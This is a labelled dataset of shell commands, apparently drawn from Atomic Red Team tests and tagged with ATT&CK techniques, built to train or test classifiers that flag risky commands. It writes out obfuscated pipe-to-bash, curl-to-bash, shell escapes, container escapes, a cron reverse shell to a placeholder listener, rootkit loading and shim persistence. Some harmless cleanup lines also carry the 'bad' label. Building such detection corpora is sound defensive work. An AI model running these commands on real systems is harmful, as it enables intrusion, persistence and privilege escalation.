cowWhySo/permission-command-corpus huggingface dataset:
Command: [ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d" ART=$(echo -n "id" | $encodecmd) echo "\$ART=$ART" echo -n "$ART" | $decodecmd |/bin/bash unset ART
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.004
Platform: linux
ATT&CK tags: T1059.004
Source rule: Obfuscated command line scripts
Notes: An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to bash, which results in the id command being executed.
Command: [ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art cat /etc/passwd |grep ^art chsh -s /bin/sh art cat /etc/passwd |grep ^art
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.004
Platform: linux
ATT&CK tags: T1059.004
Source rule: Change login shell
Notes: An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command: [ "$(uname)" = 'FreeBSD' ] && rmuser -y art || userdel art
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.004
Platform: linux
ATT&CK tags: T1059.004
Source rule: Change login shell
Notes: An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command: export ART='echo "Atomic Red Team was here... T1059.004"' echo $ART |/bin/sh
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.004
Platform: linux
ATT&CK tags: T1059.004
Source rule: Environment variable scripts
Notes: An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command: unset ART
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.004
Platform: linux
ATT&CK tags: T1059.004
Source rule: Environment variable scripts
Notes: An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command: cd /tmp curl -s #{remote_url} |bash ls -la /tmp/art.txt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.004
Platform: linux
ATT&CK tags: T1059.004
Source rule: Detecting pipe-to-shell
Notes: An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage of this BLIND install method and selectively running extra commands in the install script for those who DO pipe to bash and not for those who DO NOT. This test uses curl to download the pipe-to-shell.sh script, the first ti
Command: rm /tmp/art.txt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.004
Platform: linux
ATT&CK tags: T1059.004
Source rule: Detecting pipe-to-shell
Notes: An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage of this BLIND install method and selectively running extra commands in the install script for those who DO pipe to bash and not for those who DO NOT. This test uses curl to download the pipe-to-shell.sh script, the first ti
Command: uname -srm
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.004
Platform: linux
ATT&CK tags: T1059.004
Source rule: Current kernel information enumeration
Notes: An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command: awk 'BEGIN {system("/bin/sh &")}'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.004
Platform: linux,macos
ATT&CK tags: T1059.004
Source rule: Shell Creation using awk command
Notes: In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command.
Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command: echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.004
Platform: linux,macos
ATT&CK tags: T1059.004
Source rule: Creating shell using cpan command
Notes: cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell.
Reference - https://gtfobins.github.io/gtfobins/cpan/
Command: busybox sh &
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.004
Platform: linux
ATT&CK tags: T1059.004
Source rule: Shell Creation using busybox command
Notes: BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. 
Reference - https://gtfobins.github.io/gtfobins/busybox/
Command: sudo emacs -Q -nw --eval '(term "/bin/sh &")'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.004
Platform: linux,macos
ATT&CK tags: T1059.004
Source rule: emacs spawning an interactive system shell
Notes: emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command: sdbinst.exe "#{file_path}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.011
Platform: windows
ATT&CK tags: T1546.011
Source rule: Application Shim Installation
Notes: Install a shim database. This technique is used for privilege escalation and bypassing user access control.
Upon execution, "Installation of AtomicShim complete." will be displayed. To verify the shim behavior, run 
the AtomicTest.exe from the <PathToAtomicsFolder>\\T1546.011\\bin directory. You should see a message box appear
with "Atomic Shim DLL Test!" as defined in the AtomicTest.dll. To better understand what is happening, review
the source code files is the <PathToAtomicsFolder>\\T1546.011
Command: sdbinst.exe -u "#{file_path}" >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.011
Platform: windows
ATT&CK tags: T1546.011
Source rule: Application Shim Installation
Notes: Install a shim database. This technique is used for privilege escalation and bypassing user access control.
Upon execution, "Installation of AtomicShim complete." will be displayed. To verify the shim behavior, run 
the AtomicTest.exe from the <PathToAtomicsFolder>\\T1546.011\\bin directory. You should see a message box appear
with "Atomic Shim DLL Test!" as defined in the AtomicTest.dll. To better understand what is happening, review
the source code files is the <PathToAtomicsFolder>\\T1546.011
Command: Copy-Item "$PathToAtomicsFolder\T1546.011\bin\T1546.011CompatDatabase.sdb" C:\Windows\apppatch\Custom\T1546.011CompatDatabase.sdb Copy-Item "$PathToAtomicsFolder\T1546.011\bin\T1546.011CompatDatabase.sdb" C:\Windows\apppatch\Custom\Custom64\T1546.011CompatDatabase.sdb
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.011
Platform: windows
ATT&CK tags: T1546.011
Source rule: New shim database files created in the default shim database directory
Notes: Upon execution, check the "C:\Windows\apppatch\Custom\" folder for the new shim database

https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html
Command: Remove-Item C:\Windows\apppatch\Custom\T1546.011CompatDatabase.sdb -ErrorAction Ignore Remove-Item C:\Windows\apppatch\Custom\Custom64\T1546.011CompatDatabase.sdb -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.011
Platform: windows
ATT&CK tags: T1546.011
Source rule: New shim database files created in the default shim database directory
Notes: Upon execution, check the "C:\Windows\apppatch\Custom\" folder for the new shim database

https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html
Command: New-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom" -Name "AtomicRedTeamT1546.011" -Value "AtomicRedTeamT1546.011" New-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB" -Name "AtomicRedTeamT1546.011" -Value "AtomicRedTeamT1546.011"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.011
Platform: windows
ATT&CK tags: T1546.011
Source rule: Registry key creation and/or modification events for SDB
Notes: Create registry keys in locations where fin7 typically places SDB patches. Upon execution, output will be displayed describing
the registry keys that were created. These keys can also be viewed using the Registry Editor.

https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html
Command: Remove-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom" -Name "AtomicRedTeamT1546.011" -ErrorAction Ignore Remove-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB" -Name "AtomicRedTeamT1546.011" -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.011
Platform: windows
ATT&CK tags: T1546.011
Source rule: Registry key creation and/or modification events for SDB
Notes: Create registry keys in locations where fin7 typically places SDB patches. Upon execution, output will be displayed describing
the registry keys that were created. These keys can also be viewed using the Registry Editor.

https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html
Command: kubectl --context kind-atomic-cluster run atomic-nsenter-escape-pod --restart=Never -ti --rm --image alpine --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"securityContext":{"privileged":true}}]}}'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1611
Platform: containers
ATT&CK tags: T1611
Source rule: Deploy container using nsenter container escape
Notes: In this escape `kubectl` is used to launch a new pod, with a container that has the host pids mapped into the container (`hostPID:true`). It uses the alpine linux container image. It runs with privilege on the host (`privileged:true`). When the container is launched the command `nsenter --mount=/proc/1/ns/mnt -- /bin/bash` is ran. Since the host processes have been mapped into the container, the container enters the host namespace, escaping the container.

Additional Details:
- https://twitter.c
Command: kubectl --context kind-atomic-cluster delete pod atomic-escape-pod
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1611
Platform: containers
ATT&CK tags: T1611
Source rule: Deploy container using nsenter container escape
Notes: In this escape `kubectl` is used to launch a new pod, with a container that has the host pids mapped into the container (`hostPID:true`). It uses the alpine linux container image. It runs with privilege on the host (`privileged:true`). When the container is launched the command `nsenter --mount=/proc/1/ns/mnt -- /bin/bash` is ran. Since the host processes have been mapped into the container, the container enters the host namespace, escaping the container.

Additional Details:
- https://twitter.c
Command: if [ ! -d #{mount_point} ]; then mkdir #{mount_point} ; mount #{mount_device} #{mount_point}; fi echo -n "* * * * * root /bin/bash -c '/bin/bash -c echo \"\"; echo \"hello from host! " > #{mount_point}#{cron_path}/#{cron_filename} echo -n "$" >> #{mount_point}#{cron_path}/#{cron_filename} echo -n "(hostname) " >> #{mount_point}#{cron_path}/#{cron_filename} echo -n "$" >> #{mount_point}#{cron_path}/#{cron_filename} echo "(id)\" >& /dev/tcp/#{listen_address}/#{listen_port} 0>&1'" >> #{mount_point}#{cron_path}/#{cron_filename} netcat -l -p #{listen_port} 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1611
Platform: containers
ATT&CK tags: T1611
Source rule: Mount host filesystem to escape privileged Docker container
Notes: This technique abuses privileged Docker containers to mount the host's filesystem and then create a cron job to launch a reverse shell as the host's superuser.
The container running the test needs be privileged.  It may take up to a minute for this to run due to how often crond triggers a job.
Dev note: the echo to create cron_filename is broken up to prevent localized execution of hostname and id by Powershell.
Command: rm #{mount_point}#{cron_path}/#{cron_filename} umount #{mount_point} rmdir #{mount_point}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1611
Platform: containers
ATT&CK tags: T1611
Source rule: Mount host filesystem to escape privileged Docker container
Notes: This technique abuses privileged Docker containers to mount the host's filesystem and then create a cron job to launch a reverse shell as the host's superuser.
The container running the test needs be privileged.  It may take up to a minute for this to run due to how often crond triggers a job.
Dev note: the echo to create cron_filename is broken up to prevent localized execution of hostname and id by Powershell.
Command: echo "Current user: #{username}" sudo -u docker_user sh -c "sudo docker run -v /:/mnt --rm --name t1611_privesc -it alpine chroot /mnt id"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1611
Platform: containers
ATT&CK tags: T1611
Source rule: Privilege Escalation via Docker Volume Mapping
Notes: This test demonstrates privilege escalation by abusing Docker's volume mapping
feature to gain access to the host file system. By mounting the root directory
of the host into a Docker container, the attacker can use chroot to operate as
root on the host system.
Command: USERNAME="#{username}"; SUDOERS_FILE="/etc/sudoers.d/$USERNAME"; id "$USERNAME" &>/dev/null && userdel -r "$USERNAME" && echo -e "$USERNAME is deleted."; [[ -f "$SUDOERS_FILE" ]] && rm -f "$SUDOERS_FILE"; echo "Cleanup complete."
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1611
Platform: containers
ATT&CK tags: T1611
Source rule: Privilege Escalation via Docker Volume Mapping
Notes: This test demonstrates privilege escalation by abusing Docker's volume mapping
feature to gain access to the host file system. By mounting the root directory
of the host into a Docker container, the attacker can use chroot to operate as
root on the host system.
Command: Test-NetConnection -ComputerName #{domain} -port #{port}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1571
Platform: windows
ATT&CK tags: T1571
Source rule: Testing usage of uncommonly used port with PowerShell
Notes: Testing uncommonly used port utilizing PowerShell. APT33 has been known to attempt telnet over port 8081. Upon execution, details about the successful
port check will be displayed.
Command: echo quit | telnet #{domain} #{port} exit 0
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1571
Platform: linux,macos
ATT&CK tags: T1571
Source rule: Testing usage of uncommonly used port
Notes: Testing uncommonly used port utilizing telnet.
Command: sudo insmod #{rootkit_path}/#{rootkit_name}.ko
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1014
Platform: linux
ATT&CK tags: T1014
Source rule: Loadable Kernel Module based Rootkit
Notes: Loadable Kernel Module based Rootkit
Command: sudo rmmod #{rootkit_name} sudo rm -rf #{rootkit_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1014
Platform: linux
ATT&CK tags: T1014
Source rule: Loadable Kernel Module based Rootkit
Notes: Loadable Kernel Module based Rootkit
Command: sudo modprobe #{rootkit_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1014
Platform: linux
ATT&CK tags: T1014
Source rule: Loadable Kernel Module based Rootkit
Notes: Loadable Kernel Module based Rootkit
Command: sudo modprobe -r #{rootkit_name} sudo rm /lib/modules/$(uname -r)/#{rootkit_name}.ko sudo depmod -a
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1014
Platform: linux
ATT&CK tags: T1014
Source rule: Loadable Kernel Module based Rootkit
Notes: Loadable Kernel Module based Rootkit
Command: echo #{library_path} | tee -a /etc/ld.so.preload /usr/local/bin/evil_script.py localhost -c 10 >/dev/null & pgrep -l evil_script.py || echo "process hidden"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1014
Platform: linux
ATT&CK tags: T1014
Source rule: dynamic-linker based rootkit (libprocesshider)
Notes: Uses libprocesshider to simulate rootkit behavior by hiding a specific process name via ld.so.preload (see also T1574.006).
Command: sed -i "\:^#{library_path}:d" /etc/ld.so.preload rm -rf #{library_path} /usr/local/bin/evil_script.py /tmp/atomic
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1014
Platform: linux
ATT&CK tags: T1014
Source rule: dynamic-linker based rootkit (libprocesshider)
Notes: Uses libprocesshider to simulate rootkit behavior by hiding a specific process name via ld.so.preload (see also T1574.006).
Command: sudo modprobe #{rootkit_name} ping -c 10 localhost >/dev/null & TARGETPID="$!" ps $TARGETPID kill -31 $TARGETPID ps $TARGETPID || echo "process ${TARGETPID} hidden"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1014
Platform: linux
ATT&CK tags: T1014
Source rule: Loadable Kernel Module based Rootkit (Diamorphine)
Notes: Loads Diamorphine kernel module, which hides itself and a processes.
Command: kill -63 1 sudo modprobe -r #{rootkit_name} sudo rm -rf /lib/modules/$(uname -r)/#{rootkit_name}.ko /tmp/atomic sudo depmod -a
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1014
Platform: linux
ATT&CK tags: T1014
Source rule: Loadable Kernel Module based Rootkit (Diamorphine)
Notes: Loads Diamorphine kernel module, which hides itself and a processes.
Command: at 13:20 /interactive cmd
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.002
Platform: windows
ATT&CK tags: T1053.002
Source rule: At.exe Scheduled task
Notes: Executes cmd.exe
Note: deprecated in Windows 8+

Upon successful execution, cmd.exe will spawn at.exe and create a scheduled task that will spawn cmd at a specific time.
Command: echo "#{at_command}" | at #{time_spec}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.002
Platform: linux
ATT&CK tags: T1053.002
Source rule: At - Schedule a job
Notes: This test submits a command to be run in the future by the `at` daemon.
Command: kubectl run #{pod_name} --image=#{image_name} --restart=Never --attach --rm -i -- bash -lc "apt-get update -y >/dev/null 2>&1 && apt-get install -y at >/dev/null 2>&1 && (atd || /usr/sbin/atd) && echo '#{at_command}' | at #{time_spec} && at -l"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.002
Platform: containers
ATT&CK tags: T1053.002
Source rule: At - Schedule a job via kubectl in a Pod
Notes: Launches a short-lived Ubuntu pod, installs the `at` utility, starts the `atd` daemon,
and submits a job with `at`. The pod is deleted after execution.
Command: tcpdump -c 5 -nnni #{interface} tshark -c 5 -i #{interface}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1040
Platform: linux
ATT&CK tags: T1040
Source rule: Packet Capture Linux using tshark or tcpdump
Notes: Perform a PCAP. Wireshark will be required for tshark. TCPdump may already be installed.

Upon successful execution, tshark or tcpdump will execute and capture 5 packets on interface ens33.
Command: sudo tcpdump -c 5 -nnni #{interface} if [ -x "$(command -v tshark)" ]; then sudo tshark -c 5 -i #{interface}; fi;
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1040
Platform: macos
ATT&CK tags: T1040
Source rule: Packet Capture macOS using tcpdump or tshark
Notes: Perform a PCAP on macOS. This will require Wireshark/tshark to be installed. TCPdump may already be installed.

Upon successful execution, tshark or tcpdump will execute and capture 5 packets on interface en0A.
Command: "c:\Program Files\Wireshark\tshark.exe" -i #{interface} -c 5
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1040
Platform: windows
ATT&CK tags: T1040
Source rule: Packet Capture Windows Command Prompt
Notes: Perform a packet capture using the windows command prompt. This will require a host that has Wireshark/Tshark
installed.

Upon successful execution, tshark will execute and capture 5 packets on interface "Ethernet".
Command: netsh trace start capture=yes tracefile=%temp%\trace.etl maxsize=10
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1040
Platform: windows
ATT&CK tags: T1040
Source rule: Windows Internal Packet Capture
Notes: Uses the built-in Windows packet capture
After execution you should find a file named trace.etl and trace.cab in the temp directory
Command: netsh trace stop >nul 2>&1 TIMEOUT /T 5 >nul 2>&1 del %temp%\trace.etl >nul 2>&1 del %temp%\trace.cab >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1040
Platform: windows
ATT&CK tags: T1040
Source rule: Windows Internal Packet Capture
Notes: Uses the built-in Windows packet capture
After execution you should find a file named trace.etl and trace.cab in the temp directory
Command: pktmon.exe start --etw -f %TEMP%\t1040.etl TIMEOUT /T 5 >nul 2>&1 pktmon.exe stop
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1040
Platform: windows
ATT&CK tags: T1040
Source rule: Windows Internal pktmon capture
Notes: Will start a packet capture and store log file as t1040.etl.
https://lolbas-project.github.io/lolbas/Binaries/Pktmon/
Command: del %TEMP%\t1040.etl
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1040
Platform: windows
ATT&CK tags: T1040
Source rule: Windows Internal pktmon capture
Notes: Will start a packet capture and store log file as t1040.etl.
https://lolbas-project.github.io/lolbas/Binaries/Pktmon/
Command: pktmon.exe filter add -p 445
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1040
Platform: windows
ATT&CK tags: T1040
Source rule: Windows Internal pktmon set filter
Notes: Select Desired ports for packet capture 
https://lolbas-project.github.io/lolbas/Binaries/Pktmon/
Command: pktmon filter remove
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1040
Platform: windows
ATT&CK tags: T1040
Source rule: Windows Internal pktmon set filter
Notes: Select Desired ports for packet capture 
https://lolbas-project.github.io/lolbas/Binaries/Pktmon/
Command: sudo #{program_path} -i #{ifname} -t 3
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1040
Platform: macos
ATT&CK tags: T1040
Source rule: Packet Capture macOS using /dev/bpfN with sudo
Notes: Opens a /dev/bpf file (O_RDONLY) and captures packets for a few seconds.
Command: rm -f #{program_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1040
Platform: macos
ATT&CK tags: T1040
Source rule: Packet Capture macOS using /dev/bpfN with sudo
Notes: Opens a /dev/bpf file (O_RDONLY) and captures packets for a few seconds.